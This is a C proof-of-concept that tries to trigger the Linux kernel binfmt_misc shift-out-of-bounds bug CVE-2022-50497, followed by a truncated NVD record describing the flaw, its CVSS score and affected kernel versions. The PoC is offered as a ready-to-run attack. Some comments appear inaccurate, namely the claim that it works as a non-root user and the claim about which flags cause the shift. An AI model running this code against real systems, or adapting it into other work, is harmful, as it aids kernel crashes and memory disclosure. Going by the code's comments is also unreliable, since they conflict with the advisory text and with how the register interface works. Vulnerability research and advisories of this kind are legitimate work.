CVE-2022-50497

/* CVE-2022-50497 PoC - Trigger shift-out-of-bounds in binfmt_misc check_special_flags */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> /* * This PoC triggers the shift-out-of-bounds vulnerability in * Linux kernel's binfmt_misc module by writing to * /proc/sys/fs/binfmt_misc/register with flags that cause * a left shift of 1 by 31 places in check_special_flags(). * * Usage: Run as a regular (non-root) user. * The kernel must have binfmt_misc mounted. */ int main(int argc, char *argv[]) { int fd; char buf[512]; int ret; /* Mount binfmt_misc if not already mounted */ ret = system("mount | grep -q binfmt_misc || mount -t binfmt_misc none /proc/sys/fs/binfmt_misc 2>/dev/null"); /* * Format: :name:type:offset:mask:interpreter:flags * We craft a registration entry with special flags that will * trigger the shift-out-of-bounds in check_special_flags(). * * The flags field includes bits that cause the kernel to perform * a left shift of 1 by 31 places on an int type. */ snprintf(buf, sizeof(buf), ":testpoc:M::\\x7f\\x45\\x4c\\x46::::%s%s%s\n", "F", /* fix-binary flag */ "C", /* credentials flag - triggers shift */ "O"); /* open-binary flag - triggers shift */ /* Open the register interface */ fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY); if (fd < 0) { perror("[-] Failed to open binfmt_misc register interface"); fprintf(stderr, " Make sure binfmt_misc is mounted and accessible\n"); return 1; } printf("[*] Writing to binfmt_misc register to trigger CVE-2022-50497...\n"); /* Write the crafted entry to trigger the vulnerability */ ret = write(fd, buf, strlen(buf)); if (ret < 0) { perror("[-] Write failed"); close(fd); return 1; } printf("[+] Write completed. Check kernel log (dmesg) for UBSAN warnings.\n"); printf("[+] Look for: 'left shift of 1 by 31 places cannot be represented in type int'\n"); close(fd); /* Clean up - unregister the test entry */ fd = open("/proc/sys/fs/binfmt_misc/testpoc", O_WRONLY); if (fd >= 0) { write(fd, "-1", 2); close(fd); } return 0; }

{"cve": {"id": "CVE-2022-50497", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:46.777", "lastModified": "2026-01-22T19:57:33.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbinfmt_misc: fix shift-out-of-bounds in check_special_flags\n\nUBSAN reported a shift-out-of-bounds warning:\n\n left shift of 1 by 31 places cannot be represented in type 'int'\n Call Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x8d/0xcf lib/dump_stack.c:106\n ubsan_epilogue+0xa/0x44 lib/ubsan.c:151\n __ubsan_handle_shift_out_of_bounds+0x1e7/0x208 lib/ubsan.c:322\n check_special_flags fs/binfmt_misc.c:241 [inline]\n create_entry fs/binfmt_misc.c:456 [inline]\n bm_register_write+0x9d3/0xa20 fs/binfmt_misc.c:654\n vfs_write+0x11e/0x580 fs/read_write.c:582\n ksys_write+0xcf/0x120 fs/read_write.c:637\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x34/0x80 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n RIP: 0033:0x4194e1\n\nSince the type of Node's flags is unsigned long, we should define these\nmacros with same type too."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "4.9.337", "matchCriteriaId": "E78FB9CD-2A99-4F22-879D-9461FC5A36DE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0f1a48994b3e516d5c7fd5d12204fdba7a604771", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/419b808504c26b3e3342365f34ccd0843e09a7f8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6a46bf558803dd2b959ca7435a5c143efe837217", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/88cea1676a09f7c45a1438153a126610c33b1590", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.k ... (truncated)